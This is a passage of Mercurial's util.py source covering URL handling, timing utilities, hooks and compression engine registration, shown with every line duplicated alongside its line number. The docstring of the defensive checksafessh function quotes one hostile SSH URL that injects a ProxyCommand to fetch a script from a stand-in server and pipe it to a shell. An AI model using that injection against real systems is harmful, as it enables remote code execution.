2760 if not (self.host.startswith('[') and self.host.endswith(']')):
2760 if not (self.host.startswith('[') and self.host.endswith(']')):
2761 s += urlreq.quote(self.host)
2761 s += urlreq.quote(self.host)
2762 else:
2762 else:
2763 s += self.host
2763 s += self.host
2764 if self.port:
2764 if self.port:
2765 s += ':' + urlreq.quote(self.port)
2765 s += ':' + urlreq.quote(self.port)
2766 if self.host:
2766 if self.host:
2767 s += '/'
2767 s += '/'
2768 if self.path:
2768 if self.path:
2769 # TODO: similar to the query string, we should not unescape the
2769 # TODO: similar to the query string, we should not unescape the
2770 # path when we store it, the path might contain '%2f' = '/',
2770 # path when we store it, the path might contain '%2f' = '/',
2771 # which we should *not* escape.
2771 # which we should *not* escape.
2772 s += urlreq.quote(self.path, safe=self._safepchars)
2772 s += urlreq.quote(self.path, safe=self._safepchars)
2773 if self.query:
2773 if self.query:
2774 # we store the query in escaped form.
2774 # we store the query in escaped form.
2775 s += '?' + self.query
2775 s += '?' + self.query
2776 if self.fragment is not None:
2776 if self.fragment is not None:
2777 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2777 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2778 return s
2778 return s
2779
2779
2780 __str__ = encoding.strmethod(__bytes__)
2780 __str__ = encoding.strmethod(__bytes__)
2781
2781
2782 def authinfo(self):
2782 def authinfo(self):
2783 user, passwd = self.user, self.passwd
2783 user, passwd = self.user, self.passwd
2784 try:
2784 try:
2785 self.user, self.passwd = None, None
2785 self.user, self.passwd = None, None
2786 s = bytes(self)
2786 s = bytes(self)
2787 finally:
2787 finally:
2788 self.user, self.passwd = user, passwd
2788 self.user, self.passwd = user, passwd
2789 if not self.user:
2789 if not self.user:
2790 return (s, None)
2790 return (s, None)
2791 # authinfo[1] is passed to urllib2 password manager, and its
2791 # authinfo[1] is passed to urllib2 password manager, and its
2792 # URIs must not contain credentials. The host is passed in the
2792 # URIs must not contain credentials. The host is passed in the
2793 # URIs list because Python < 2.4.3 uses only that to search for
2793 # URIs list because Python < 2.4.3 uses only that to search for
2794 # a password.
2794 # a password.
2795 return (s, (None, (s, self.host),
2795 return (s, (None, (s, self.host),
2796 self.user, self.passwd or ''))
2796 self.user, self.passwd or ''))
2797
2797
2798 def isabs(self):
2798 def isabs(self):
2799 if self.scheme and self.scheme != 'file':
2799 if self.scheme and self.scheme != 'file':
2800 return True # remote URL
2800 return True # remote URL
2801 if hasdriveletter(self.path):
2801 if hasdriveletter(self.path):
2802 return True # absolute for our purposes - can't be joined()
2802 return True # absolute for our purposes - can't be joined()
2803 if self.path.startswith(br'\\'):
2803 if self.path.startswith(br'\\'):
2804 return True # Windows UNC path
2804 return True # Windows UNC path
2805 if self.path.startswith('/'):
2805 if self.path.startswith('/'):
2806 return True # POSIX-style
2806 return True # POSIX-style
2807 return False
2807 return False
2808
2808
2809 def localpath(self):
2809 def localpath(self):
2810 if self.scheme == 'file' or self.scheme == 'bundle':
2810 if self.scheme == 'file' or self.scheme == 'bundle':
2811 path = self.path or '/'
2811 path = self.path or '/'
2812 # For Windows, we need to promote hosts containing drive
2812 # For Windows, we need to promote hosts containing drive
2813 # letters to paths with drive letters.
2813 # letters to paths with drive letters.
2814 if hasdriveletter(self._hostport):
2814 if hasdriveletter(self._hostport):
2815 path = self._hostport + '/' + self.path
2815 path = self._hostport + '/' + self.path
2816 elif (self.host is not None and self.path
2816 elif (self.host is not None and self.path
2817 and not hasdriveletter(path)):
2817 and not hasdriveletter(path)):
2818 path = '/' + path
2818 path = '/' + path
2819 return path
2819 return path
2820 return self._origpath
2820 return self._origpath
2821
2821
2822 def islocal(self):
2822 def islocal(self):
2823 '''whether localpath will return something that posixfile can open'''
2823 '''whether localpath will return something that posixfile can open'''
2824 return (not self.scheme or self.scheme == 'file'
2824 return (not self.scheme or self.scheme == 'file'
2825 or self.scheme == 'bundle')
2825 or self.scheme == 'bundle')
2826
2826
2827 def hasscheme(path):
2827 def hasscheme(path):
2828 return bool(url(path).scheme)
2828 return bool(url(path).scheme)
2829
2829
2830 def hasdriveletter(path):
2830 def hasdriveletter(path):
2831 return path and path[1:2] == ':' and path[0:1].isalpha()
2831 return path and path[1:2] == ':' and path[0:1].isalpha()
2832
2832
2833 def urllocalpath(path):
2833 def urllocalpath(path):
2834 return url(path, parsequery=False, parsefragment=False).localpath()
2834 return url(path, parsequery=False, parsefragment=False).localpath()
2835
2835
2836 def checksafessh(path):
2836 def checksafessh(path):
2837 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2837 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2838
2838
2839 This is a sanity check for ssh urls. ssh will parse the first item as
2839 This is a sanity check for ssh urls. ssh will parse the first item as
2840 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2840 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2841 Let's prevent these potentially exploited urls entirely and warn the
2841 Let's prevent these potentially exploited urls entirely and warn the
2842 user.
2842 user.
2843
2843
2844 Raises an error.Abort when the url is unsafe.
2844 Raises an error.Abort when the url is unsafe.
2845 """
2845 """
2846 path = urlreq.unquote(path)
2846 path = urlreq.unquote(path)
2847 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2847 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2848 raise error.Abort(_('potentially unsafe url: %r') %
2848 raise error.Abort(_('potentially unsafe url: %r') %
2849 (pycompat.bytestr(path),))
2849 (pycompat.bytestr(path),))
2850
2850
2851 def hidepassword(u):
2851 def hidepassword(u):
2852 '''hide user credential in a url string'''
2852 '''hide user credential in a url string'''
2853 u = url(u)
2853 u = url(u)
2854 if u.passwd:
2854 if u.passwd:
2855 u.passwd = '***'
2855 u.passwd = '***'
2856 return bytes(u)
2856 return bytes(u)
2857
2857
2858 def removeauth(u):
2858 def removeauth(u):
2859 '''remove all authentication information from a url string'''
2859 '''remove all authentication information from a url string'''
2860 u = url(u)
2860 u = url(u)
2861 u.user = u.passwd = None
2861 u.user = u.passwd = None
2862 return bytes(u)
2862 return bytes(u)
2863
2863
2864 timecount = unitcountfn(
2864 timecount = unitcountfn(
2865 (1, 1e3, _('%.0f s')),
2865 (1, 1e3, _('%.0f s')),
2866 (100, 1, _('%.1f s')),
2866 (100, 1, _('%.1f s')),
2867 (10, 1, _('%.2f s')),
2867 (10, 1, _('%.2f s')),
2868 (1, 1, _('%.3f s')),
2868 (1, 1, _('%.3f s')),
2869 (100, 0.001, _('%.1f ms')),
2869 (100, 0.001, _('%.1f ms')),
2870 (10, 0.001, _('%.2f ms')),
2870 (10, 0.001, _('%.2f ms')),
2871 (1, 0.001, _('%.3f ms')),
2871 (1, 0.001, _('%.3f ms')),
2872 (100, 0.000001, _('%.1f us')),
2872 (100, 0.000001, _('%.1f us')),
2873 (10, 0.000001, _('%.2f us')),
2873 (10, 0.000001, _('%.2f us')),
2874 (1, 0.000001, _('%.3f us')),
2874 (1, 0.000001, _('%.3f us')),
2875 (100, 0.000000001, _('%.1f ns')),
2875 (100, 0.000000001, _('%.1f ns')),
2876 (10, 0.000000001, _('%.2f ns')),
2876 (10, 0.000000001, _('%.2f ns')),
2877 (1, 0.000000001, _('%.3f ns')),
2877 (1, 0.000000001, _('%.3f ns')),
2878 )
2878 )
2879
2879
2880 @attr.s
2880 @attr.s
2881 class timedcmstats(object):
2881 class timedcmstats(object):
2882 """Stats information produced by the timedcm context manager on entering."""
2882 """Stats information produced by the timedcm context manager on entering."""
2883
2883
2884 # the starting value of the timer as a float (meaning and resulution is
2884 # the starting value of the timer as a float (meaning and resulution is
2885 # platform dependent, see util.timer)
2885 # platform dependent, see util.timer)
2886 start = attr.ib(default=attr.Factory(lambda: timer()))
2886 start = attr.ib(default=attr.Factory(lambda: timer()))
2887 # the number of seconds as a floating point value; starts at 0, updated when
2887 # the number of seconds as a floating point value; starts at 0, updated when
2888 # the context is exited.
2888 # the context is exited.
2889 elapsed = attr.ib(default=0)
2889 elapsed = attr.ib(default=0)
2890 # the number of nested timedcm context managers.
2890 # the number of nested timedcm context managers.
2891 level = attr.ib(default=1)
2891 level = attr.ib(default=1)
2892
2892
2893 def __bytes__(self):
2893 def __bytes__(self):
2894 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2894 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2895
2895
2896 __str__ = encoding.strmethod(__bytes__)
2896 __str__ = encoding.strmethod(__bytes__)
2897
2897
2898 @contextlib.contextmanager
2898 @contextlib.contextmanager
2899 def timedcm():
2899 def timedcm():
2900 """A context manager that produces timing information for a given context.
2900 """A context manager that produces timing information for a given context.
2901
2901
2902 On entering a timedcmstats instance is produced.
2902 On entering a timedcmstats instance is produced.
2903
2903
2904 This context manager is reentrant.
2904 This context manager is reentrant.
2905
2905
2906 """
2906 """
2907 # track nested context managers
2907 # track nested context managers
2908 timedcm._nested += 1
2908 timedcm._nested += 1
2909 timing_stats = timedcmstats(level=timedcm._nested)
2909 timing_stats = timedcmstats(level=timedcm._nested)
2910 try:
2910 try:
2911 yield timing_stats
2911 yield timing_stats
2912 finally:
2912 finally:
2913 timing_stats.elapsed = timer() - timing_stats.start
2913 timing_stats.elapsed = timer() - timing_stats.start
2914 timedcm._nested -= 1
2914 timedcm._nested -= 1
2915
2915
2916 timedcm._nested = 0
2916 timedcm._nested = 0
2917
2917
2918 def timed(func):
2918 def timed(func):
2919 '''Report the execution time of a function call to stderr.
2919 '''Report the execution time of a function call to stderr.
2920
2920
2921 During development, use as a decorator when you need to measure
2921 During development, use as a decorator when you need to measure
2922 the cost of a function, e.g. as follows:
2922 the cost of a function, e.g. as follows:
2923
2923
2924 @util.timed
2924 @util.timed
2925 def foo(a, b, c):
2925 def foo(a, b, c):
2926 pass
2926 pass
2927 '''
2927 '''
2928
2928
2929 def wrapper(*args, **kwargs):
2929 def wrapper(*args, **kwargs):
2930 with timedcm() as time_stats:
2930 with timedcm() as time_stats:
2931 result = func(*args, **kwargs)
2931 result = func(*args, **kwargs)
2932 stderr = procutil.stderr
2932 stderr = procutil.stderr
2933 stderr.write('%s%s: %s\n' % (
2933 stderr.write('%s%s: %s\n' % (
2934 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2934 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2935 time_stats))
2935 time_stats))
2936 return result
2936 return result
2937 return wrapper
2937 return wrapper
2938
2938
2939 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2939 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2940 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2940 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2941
2941
2942 def sizetoint(s):
2942 def sizetoint(s):
2943 '''Convert a space specifier to a byte count.
2943 '''Convert a space specifier to a byte count.
2944
2944
2945 >>> sizetoint(b'30')
2945 >>> sizetoint(b'30')
2946 30
2946 30
2947 >>> sizetoint(b'2.2kb')
2947 >>> sizetoint(b'2.2kb')
2948 2252
2948 2252
2949 >>> sizetoint(b'6M')
2949 >>> sizetoint(b'6M')
2950 6291456
2950 6291456
2951 '''
2951 '''
2952 t = s.strip().lower()
2952 t = s.strip().lower()
2953 try:
2953 try:
2954 for k, u in _sizeunits:
2954 for k, u in _sizeunits:
2955 if t.endswith(k):
2955 if t.endswith(k):
2956 return int(float(t[:-len(k)]) * u)
2956 return int(float(t[:-len(k)]) * u)
2957 return int(t)
2957 return int(t)
2958 except ValueError:
2958 except ValueError:
2959 raise error.ParseError(_("couldn't parse size: %s") % s)
2959 raise error.ParseError(_("couldn't parse size: %s") % s)
2960
2960
2961 class hooks(object):
2961 class hooks(object):
2962 '''A collection of hook functions that can be used to extend a
2962 '''A collection of hook functions that can be used to extend a
2963 function's behavior. Hooks are called in lexicographic order,
2963 function's behavior. Hooks are called in lexicographic order,
2964 based on the names of their sources.'''
2964 based on the names of their sources.'''
2965
2965
2966 def __init__(self):
2966 def __init__(self):
2967 self._hooks = []
2967 self._hooks = []
2968
2968
2969 def add(self, source, hook):
2969 def add(self, source, hook):
2970 self._hooks.append((source, hook))
2970 self._hooks.append((source, hook))
2971
2971
2972 def __call__(self, *args):
2972 def __call__(self, *args):
2973 self._hooks.sort(key=lambda x: x[0])
2973 self._hooks.sort(key=lambda x: x[0])
2974 results = []
2974 results = []
2975 for source, hook in self._hooks:
2975 for source, hook in self._hooks:
2976 results.append(hook(*args))
2976 results.append(hook(*args))
2977 return results
2977 return results
2978
2978
2979 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2979 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2980 '''Yields lines for a nicely formatted stacktrace.
2980 '''Yields lines for a nicely formatted stacktrace.
2981 Skips the 'skip' last entries, then return the last 'depth' entries.
2981 Skips the 'skip' last entries, then return the last 'depth' entries.
2982 Each file+linenumber is formatted according to fileline.
2982 Each file+linenumber is formatted according to fileline.
2983 Each line is formatted according to line.
2983 Each line is formatted according to line.
2984 If line is None, it yields:
2984 If line is None, it yields:
2985 length of longest filepath+line number,
2985 length of longest filepath+line number,
2986 filepath+linenumber,
2986 filepath+linenumber,
2987 function
2987 function
2988
2988
2989 Not be used in production code but very convenient while developing.
2989 Not be used in production code but very convenient while developing.
2990 '''
2990 '''
2991 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2991 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2992 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2992 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2993 ][-depth:]
2993 ][-depth:]
2994 if entries:
2994 if entries:
2995 fnmax = max(len(entry[0]) for entry in entries)
2995 fnmax = max(len(entry[0]) for entry in entries)
2996 for fnln, func in entries:
2996 for fnln, func in entries:
2997 if line is None:
2997 if line is None:
2998 yield (fnmax, fnln, func)
2998 yield (fnmax, fnln, func)
2999 else:
2999 else:
3000 yield line % (fnmax, fnln, func)
3000 yield line % (fnmax, fnln, func)
3001
3001
3002 def debugstacktrace(msg='stacktrace', skip=0,
3002 def debugstacktrace(msg='stacktrace', skip=0,
3003 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3003 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3004 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3004 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3005 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3005 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3006 By default it will flush stdout first.
3006 By default it will flush stdout first.
3007 It can be used everywhere and intentionally does not require an ui object.
3007 It can be used everywhere and intentionally does not require an ui object.
3008 Not be used in production code but very convenient while developing.
3008 Not be used in production code but very convenient while developing.
3009 '''
3009 '''
3010 if otherf:
3010 if otherf:
3011 otherf.flush()
3011 otherf.flush()
3012 f.write('%s at:\n' % msg.rstrip())
3012 f.write('%s at:\n' % msg.rstrip())
3013 for line in getstackframes(skip + 1, depth=depth):
3013 for line in getstackframes(skip + 1, depth=depth):
3014 f.write(line)
3014 f.write(line)
3015 f.flush()
3015 f.flush()
3016
3016
3017 class dirs(object):
3017 class dirs(object):
3018 '''a multiset of directory names from a dirstate or manifest'''
3018 '''a multiset of directory names from a dirstate or manifest'''
3019
3019
3020 def __init__(self, map, skip=None):
3020 def __init__(self, map, skip=None):
3021 self._dirs = {}
3021 self._dirs = {}
3022 addpath = self.addpath
3022 addpath = self.addpath
3023 if safehasattr(map, 'iteritems') and skip is not None:
3023 if safehasattr(map, 'iteritems') and skip is not None:
3024 for f, s in map.iteritems():
3024 for f, s in map.iteritems():
3025 if s[0] != skip:
3025 if s[0] != skip:
3026 addpath(f)
3026 addpath(f)
3027 else:
3027 else:
3028 for f in map:
3028 for f in map:
3029 addpath(f)
3029 addpath(f)
3030
3030
3031 def addpath(self, path):
3031 def addpath(self, path):
3032 dirs = self._dirs
3032 dirs = self._dirs
3033 for base in finddirs(path):
3033 for base in finddirs(path):
3034 if base in dirs:
3034 if base in dirs:
3035 dirs[base] += 1
3035 dirs[base] += 1
3036 return
3036 return
3037 dirs[base] = 1
3037 dirs[base] = 1
3038
3038
3039 def delpath(self, path):
3039 def delpath(self, path):
3040 dirs = self._dirs
3040 dirs = self._dirs
3041 for base in finddirs(path):
3041 for base in finddirs(path):
3042 if dirs[base] > 1:
3042 if dirs[base] > 1:
3043 dirs[base] -= 1
3043 dirs[base] -= 1
3044 return
3044 return
3045 del dirs[base]
3045 del dirs[base]
3046
3046
3047 def __iter__(self):
3047 def __iter__(self):
3048 return iter(self._dirs)
3048 return iter(self._dirs)
3049
3049
3050 def __contains__(self, d):
3050 def __contains__(self, d):
3051 return d in self._dirs
3051 return d in self._dirs
3052
3052
3053 if safehasattr(parsers, 'dirs'):
3053 if safehasattr(parsers, 'dirs'):
3054 dirs = parsers.dirs
3054 dirs = parsers.dirs
3055
3055
3056 def finddirs(path):
3056 def finddirs(path):
3057 pos = path.rfind('/')
3057 pos = path.rfind('/')
3058 while pos != -1:
3058 while pos != -1:
3059 yield path[:pos]
3059 yield path[:pos]
3060 pos = path.rfind('/', 0, pos)
3060 pos = path.rfind('/', 0, pos)
3061
3061
3062 # compression code
3062 # compression code
3063
3063
3064 SERVERROLE = 'server'
3064 SERVERROLE = 'server'
3065 CLIENTROLE = 'client'
3065 CLIENTROLE = 'client'
3066
3066
3067 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3067 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3068 (u'name', u'serverpriority',
3068 (u'name', u'serverpriority',
3069 u'clientpriority'))
3069 u'clientpriority'))
3070
3070
3071 class compressormanager(object):
3071 class compressormanager(object):
3072 """Holds registrations of various compression engines.
3072 """Holds registrations of various compression engines.
3073
3073
3074 This class essentially abstracts the differences between compression
3074 This class essentially abstracts the differences between compression
3075 engines to allow new compression formats to be added easily, possibly from
3075 engines to allow new compression formats to be added easily, possibly from
3076 extensions.
3076 extensions.
3077
3077
3078 Compressors are registered against the global instance by calling its
3078 Compressors are registered against the global instance by calling its
3079 ``register()`` method.
3079 ``register()`` method.
3080 """
3080 """
3081 def __init__(self):
3081 def __init__(self):
3082 self._engines = {}
3082 self._engines = {}
3083 # Bundle spec human name to engine name.
3083 # Bundle spec human name to engine name.
3084 self._bundlenames = {}
3084 self._bundlenames = {}
3085 # Internal bundle identifier to engine name.
3085 # Internal bundle identifier to engine name.
3086 self._bundletypes = {}
3086 self._bundletypes = {}
3087 # Revlog header to engine name.
3087 # Revlog header to engine name.
3088 self._revlogheaders = {}
3088 self._revlogheaders = {}
3089 # Wire proto identifier to engine name.
3089 # Wire proto identifier to engine name.
3090 self._wiretypes = {}
3090 self._wiretypes = {}
3091
3091
3092 def __getitem__(self, key):
3092 def __getitem__(self, key):
3093 return self._engines[key]
3093 return self._engines[key]
3094
3094
3095 def __contains__(self, key):
3095 def __contains__(self, key):
3096 return key in self._engines
3096 return key in self._engines
3097
3097
3098 def __iter__(self):
3098 def __iter__(self):
3099 return iter(self._engines.keys())
3099 return iter(self._engines.keys())
3100
3100
3101 def register(self, engine):
3101 def register(self, engine):
3102 """Register a compression engine with the manager.
3102 """Register a compression engine with the manager.
3103
3103
3104 The argument must be a ``compressionengine`` instance.
3104 The argument must be a ``compressionengine`` instance.
3105 """
3105 """
3106 if not isinstance(engine, compressionengine):
3106 if not isinstance(engine, compressionengine):
3107 raise ValueError(_('argument must be a compressionengine'))
3107 raise ValueError(_('argument must be a compressionengine'))
3108
3108
3109 name = engine.name()
3109 name = engine.name()
3110
3110
3111 if name in self._engines:
3111 if name in self._engines:
3112 raise error.Abort(_('compression engine %s already registered') %
3112 raise error.Abort(_('compression engine %s already registered') %
3113 name)
3113 name)
3114
3114
3115 bundleinfo = engine.bundletype()
3115 bundleinfo = engine.bundletype()
3116 if bundleinfo:
3116 if bundleinfo:
3117 bundlename, bundletype = bundleinfo
3117 bundlename, bundletype = bundleinfo
3118
3118
3119 if bundlename in self._bundlenames:
3119 if bundlename in self._bundlenames:
3120 raise error.Abort(_('bundle name %s already registered') %
3120 raise error.Abort(_('bundle name %s already registered') %
3121 bundlename)
3121 bundlename)
3122 if bundletype in self._bundletypes:
3122 if bundletype in self._bundletypes:
3123 raise error.Abort(_('bundle type %s already registered by %s') %
3123 raise error.Abort(_('bundle type %s already registered by %s') %
3124 (bundletype, self._bundletypes[bundletype]))
3124 (bundletype, self._bundletypes[bundletype]))
3125
3125
3126 # No external facing name declared.
3126 # No external facing name declared.
3127 if bundlename:
3127 if bundlename:
3128 self._bundlenames[bundlename] = name
3128 self._bundlenames[bundlename] = name
3129
3129
3130 self._bundletypes[bundletype] = name
3130 self._bundletypes[bundletype] = name
3131
3131
3132 wiresupport = engine.wireprotosupport()
3132 wiresupport = engine.wireprotosupport()
3133 if wiresupport:
3133 if wiresupport:
3134 wiretype = wiresupport.name
3134 wiretype = wiresupport.name
3135 if wiretype in self._wiretypes:
3135 if wiretype in self._wiretypes:
3136 raise error.Abort(_('wire protocol compression %s already '
3136 raise error.Abort(_('wire protocol compression %s already '
3137 'registered by %s') %
3137 'registered by %s') %
3138 (wiretype, self._wiretypes[wiretype]))
3138 (wiretype, self._wiretypes[wiretype]))
3139
3139
3140 self._wiretypes[wiretype] = name
3140 self._wiretypes[wiretype] = name
3141
3141
3142 revlogheader = engine.revlogheader()
3142 revlogheader = engine.revlogheader()
3143 if revlogheader and revlogheader in self._revlogheaders:
3143 if revlogheader and revlogheader in self._revlogheaders:
3144 raise error.Abort(_('revlog header %s already registered by %s') %
3144 raise error.Abort(_('revlog header %s already registered by %s') %
3145 (revlogheader, self._revlogheaders[revlogheader]))
3145 (revlogheader, self._revlogheaders[revlogheader]))
3146
3146
3147 if revlogheader:
3147 if revlogheader:
3148 self._revlogheaders[revlogheader] = name
3148 self._revlogheaders[revlogheader] = name
3149
3149
3150 self._engines[name] = engine
3150 self._engines[name] = engine
3151
3151
3152 @property
3152 @property
3153 def supportedbundlenames(self):
3153 def supportedbundlenames(self):
3154 return set(self._bundlenames.keys())
3154 return set(self._bundlenames.keys())
3155
3155
3156 @property
3156 @property
3157 def supportedbundletypes(self):
3157 def supportedbundletypes(self):
3158 return set(self._bundletypes.keys())
3158 return set(self._bundletypes.keys())
3159
3159
3160 def forbundlename(self, bundlename):
3160 def forbundlename(self, bundlename):
3161 """Obtain a compression engine registered to a bundle name.
3161 """Obtain a compression engine registered to a bundle name.
3162
3162
3163 Will raise KeyError if the bundle type isn't registered.
3163 Will raise KeyError if the bundle type isn't registered.
3164
3164
3165 Will abort if the engine is known but not available.
3165 Will abort if the engine is known but not available.
3166 """
3166 """
3167 engine = self._engines[self._bundlenames[bundlename]]
3167 engine = self._engines[self._bundlenames[bundlename]]
3168 if not engine.available():
3168 if not engine.available():
3169 raise error.Abort(_('compression engine %s could not be loaded') %
3169 raise error.Abort(_('compression engine %s could not be loaded') %
3170 engine.name())
3170 engine.name())
3171 return engine
3171 return engine
3172
3172
3173 def forbundletype(self, bundletype):
3173 def forbundletype(self, bundletype):
3174 """Obtain a compression engine registered to a bundle type.
3174 """Obtain a compression engine registered to a bundle type.
3175
3175
3176 Will raise KeyError if the bundle type isn't registered.
3176 Will raise KeyError if the bundle type isn't registered.
3177
3177
3178 Will abort if the engine is known but not available.
3178 Will abort if the engine is known but not available.
3179 """
3179 """
3180 engine = self._engines[self._bundletypes[bundletype]]
3180 engine = self._engines[self._bundletypes[bundletype]]
3181 if not engine.available():
3181 if not engine.available():
3182 raise error.Abort(_('compression engine %s could not be loaded') %
3182 raise error.Abort(_('compression engine %s could not be loaded') %
3183 engine.name())
3183 engine.name())
3184 return engine
3184 return engine
3185
3185
3186 def supportedwireengines(self, role, onlyavailable=True):
3186 def supportedwireengines(self, role, onlyavailable=True):
3187 """Obtain compression engines that support the wire protocol.
3187 """Obtain compression engines that support the wire protocol.
3188
3188
3189 Returns a list of engines in prioritized order, most desired first.
3189 Returns a list of engines in prioritized order, most desired first.
3190
3190
3191 If ``onlyavailable`` is set, filter out engines that can't be
3191 If ``onlyavailable`` is set, filter out engines that can't be
3192 loaded.
3192 loaded.
3193 """
3193 """
3194 assert role in (SERVERROLE, CLIENTROLE)
3194 assert role in (SERVERROLE, CLIENTROLE)
3195
3195
3196 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3196 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3197
3197
3198 engines = [self._engines[e] for e in self._wiretypes.values()]
3198 engines = [self._engines[e] for e in self._wiretypes.values()]
3199 if onlyavailable:
3199 if onlyavailable:
3200 engines = [e for e in engines if e.available()]
3200 engines = [e for e in engines if e.available()]
3201
3201
3202 def getkey(e):
3202 def getkey(e):
3203 # Sort first by priority, highest first. In case of tie, sort
3203 # Sort first by priority, highest first. In case of tie, sort
3204 # alphabetically. This is arbitrary, but ensures output is
3204 # alphabetically. This is arbitrary, but ensures output is
3205 # stable.
3205 # stable.
3206 w = e.wireprotosupport()
3206 w = e.wireprotosupport()
3207 return -1 * getattr(w, attr), w.name
3207 return -1 * getattr(w, attr), w.name
3208
3208
3209 return list(sorted(engines, key=getkey))
3209 return list(sorted(engines, key=getkey))
3210
3210
3211 def forwiretype(self, wiretype):
3211 def forwiretype(self, wiretype):
3212 engine = self._engines[self._wiretypes[wiretype]]
3212 engine = self._engines[self._wiretypes[wiretype]]
3213 if not engine.available():
3213 if not engine.available():
3214 raise error.Abort(_('compression engine %s could not be loaded') %
3214 raise error.Abort(_('compression engine %s could not be loaded') %
3215 engine.name())
3215 engine.name())
3216 return engine
3216 return engine
3217
3217
3218 def forrevlogheader(self, header):
3218 def forrevlogheader(self, header):
3219 """Obtain a compression engine registered to a revlog header.
3219 """Obtain a compression engine registered to a revlog header.
3220
3220
3221 Will raise KeyError if the revlog header value isn't registered.
3221 Will raise KeyError if the revlog header value isn't registered.
3222 """
3222 """
3223 return self._engines[self._revlogheaders[header]]
3223 return self._engines[self._revlogheaders[header]]
3224
3224
3225 compengines = compressormanager()
3225 compengines = compressormanager()
3226
3226
3227 class compressionengine(object):
3227 class compressionengine(object):
3228 """Base class for compression engines.
3228 """Base class for compression engines.
3229
3229
3230 Compression engines must implement the interface defined by this class.
3230 Compression engines must implement the interface defined by this class.
3231 """
3231 """
3232 def name(self):
3232 def name(self):
3233 """Returns the name of the compression engine.
3233 """Returns the name of the compression engine.
3234
3234
3235 This is the key the engine is registered under.
3235 This is the key the engine is registered under.
3236
3236
3237 This method must be implemented.
3237 This method must be implemented.
3238 """
3238 """
3239 raise NotImplementedError()
3239 raise NotImplementedError()
3240
3240
3241 def available(self):
3241 def available(self):
3242 """Whether the compression engine is available.
3242 """Whether the compression engine is available.
3243
3243
3244 The intent of this method is to allow optional compression engines
3244 The intent of this method is to allow optional compression engines
3245 that may not be available in all installations (such as engines relying
3245 that may not be available in all installations (such as engines relying
3246 on C extensions that may not be present).
3246 on C extensions that may not be present).
3247 """
3247 """
3248 return True
3248 return True
3249
3249
3250 def bundletype(self):
3250 def bundletype(self):
3251 """Describes bundle identifiers for this engine.
3251 """Describes bundle identifiers for this engine.
3252
3252
3253 If this compression engine isn't supported for bundles, returns None.
3253 If this compression engine isn't supported for bundles, returns None.
3254
3254
3255 If this engine can be used for bundles, returns a 2-tuple of strings of
3255 If this engine can be used for bundles, returns a 2-tuple of strings of
3256 the user-facing "bundle spec" compression name and an internal
3256 the user-facing "bundle spec" compression name and an internal
3257 identifier used to denote the compression format within bundles. To
3257 identifier used to denote the compression format within bundles. To
3258 exclude the name from external usage, set the first element to ``None``.
3258 exclude the name from external usage, set the first element to ``None``.
3259
3259
3260 If bundle compression is supported, the class must also implement
3260 If bundle compression is supported, the class must also implement
3261 ``compressstream`` and `decompressorreader``.
3261 ``compressstream`` and `decompressorreader``.
3262
3262
3263 The docstring of this method is used in the help system to tell users
3263 The docstring of this method is used in the help system to tell users
3264 about this engine.
3264 about this engine.
3265 """
3265 """
3266 return None
3266 return None
3267
3267
3268 def wireprotosupport(self):
3268 def wireprotosupport(self):
3269 """Declare support for this compression format on the wire protocol.
3269 """Declare support for this compression format on the wire protocol.
3270
3270
3271 If this compression engine isn't supported for compressing wire
3271 If this compression engine isn't supported for compressing wire
3272 protocol payloads, returns None.
3272 protocol payloads, returns None.
3273
3273
3274 Otherwise, returns ``compenginewireprotosupport`` with the following
3274 Otherwise, returns ``compenginewireprotosupport`` with the following
3275 fields:
3275 fields:
3276
3276
3277 * String format identifier
3277 * String format identifier
3278 * Integer priority for the server
3278 * Integer priority for the server
3279 * Integer priority for the client
3279 * Integer priority for the client
3280
3280
3281 The integer priorities are used to order the advertisement of format
3281 The integer priorities are used to order the advertisement of format
3282 support by server and client. The highest integer is advertised
3282 support by server and client. The highest integer is advertised
3283 first. Integers with non-positive values aren't advertised.
3283 first. Integers with non-positive values aren't advertised.
3284
3284
3285 The priority values are somewhat arbitrary and only used for default
3285 The priority values are somewhat arbitrary and only used for default
3286 ordering. The relative order can be changed via config options.
3286 ordering. The relative order can be changed via config options.
3287
3287
3288 If wire protocol compression is supported, the class must also implement
3288 If wire protocol compression is supported, the class must also implement
3289 ``compressstream`` and ``decompressorreader``.
3289 ``compressstream`` and ``decompressorreader``.
3290 """
3290 """
3291 return None
3291 return None
3292
3292
3293 def revlogheader(self):
3293 def revlogheader(self):
3294 """Header added to revlog chunks that identifies this engine.
3294 """Header added to revlog chunks that identifies this engine.
3295
3295
3296 If this engine can be used to compress revlogs, this method should
3296 If this engine can be used to compress revlogs, this method should
3297 return the bytes used to identify chunks compressed with this engine.
